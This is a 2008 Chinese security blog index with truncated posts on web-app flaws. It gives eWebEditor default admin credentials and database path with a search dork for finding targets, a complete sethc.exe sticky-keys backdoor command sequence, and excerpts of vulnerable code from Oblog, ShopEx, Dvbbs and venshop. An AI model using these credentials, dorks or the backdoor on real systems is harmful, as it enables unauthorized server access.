Ice

现在eWebSoft在线编辑器用户越来越多,危害就越来越大~
首先介绍编辑器的一些默认特征:
默认登陆admin_login.asp
默认数据库db/ewebeditor.mdb
默认帐号admin 密码admin或admin888

搜索关键字:"inurl:ewebeditor" 关键字十分重要
有人搜索"eWebEditor - eWebSoft在线编辑器"
根本搜索不到几个~

baidu.google搜索inurl:ewebeditor

阅读全文>>

类别：默认分类 | 评论(0) | 浏览()

ShopEx PHP远程包含漏洞

2008-03-19 15:52

影响版本：4.7及以下

verifycode.php

<?php
/**
*
* 登陆验证码生成文件
*
* @package ShopEx网上商店系统
* @version 4.6
* @author ShopEx.cn <develop@shopex.cn>
* @url http://www.shopex.cn/
* @since PHP 4.3
* @copyright ShopEx.cn
*
**/
if (!defined("ISSHOP

阅读全文>>

类别：默认分类 | 评论(1) | 浏览()

免密码进入服务器系统本身后门

2008-03-18 17:39

## LOOK ##

copy cmd.exe acmd.exe

copy sethc.exe asethc.exe

del sethc.exe

ren acmd.exe sethc.exe

阅读全文>>

类别：默认分类 | 评论(0) | 浏览()

最新Oblog4.6注入漏洞分析之二

2008-03-15 08:13

Date：2008-2-15
Author：Yamato[BCT]
Version:Oblog 4.6

漏洞文件User_Address.asp： If oblog.l_Group(17,0)=0 Then //第4行有等级限制
oblog.AddErrStr ("您目前所属的等级不允许使用通讯录功能")
oblog.showUserErr
Response.End
End if
。。。。。。
addrId=Request("id") //第15行
If addrId<>"" And InStr(addrid,",")<=0 Then addrId=Int(addrId)
。。。。。。
Case "add","edit

阅读全文>>

类别：默认分类 | 评论(0) | 浏览()

最新Oblog4.6注入漏洞分析

2008-03-13 23:31

Date：2008-2-15
Author：Yamato[BCT]
Version:Oblog 4.6

漏洞文件AjaxServer.asp: Sub digglog() //第691行
If Not lcase(Request.ServerVariables("REQUEST_METHOD"))="post" Then Response.End
。。。。。。
If request("ptrue")=1 Then //第703行
pdigg=oblog.checkuserlogined_digg(unescape(Trim(request("puser"))),Trim(request("ppass")))
oblog.checkuserlogined_digg在/inc/ class_sys.asp文件下：
Public

阅读全文>>

类别：默认分类 | 评论(0) | 浏览()

dvbbs之PHP版本0day

2008-03-13 23:31

来源:鬼仔's Blog

影响版本：2.0
漏洞文件：/boardrule.php
Author：sniperhg 小蟑螂
信息来源：零客网安 www.0kee.com

Dvbbs PHP 0day

相关代码： function brule() {
   global $dv,$db,$boardid,$lang,$groupboardid;
   $groupboardid=$_GET['groupboardid'];
   if(!empty($_GET['groupboardid'])){
     $rules=$db->scalar("select ru

阅读全文>>

类别：默认分类 | 评论(0) | 浏览()

凡人网络购物系统 V8.0 简体中文版 Cookie欺骗漏洞

2008-03-13 23:30

代码http://www.venshop.com/down/venshop.rar
小程序，备忘一下
ad_chk.asp判断管理员登陆状态 <%
if Request.Cookies("venshop")("admin_name")="" or Request.Cookies("venshop")("admin_pass")="" or Request.Cookies("venshop")("admin_class")="" then
Response.Cookies("venshop")("admin_name")=""

阅读全文>>

类别：默认分类 | 评论(0) | 浏览()

本 BLOG 停止更新

2008-03-10 16:53

本 BLOG 停止更新

类别：默认分类 | 评论(1) | 浏览()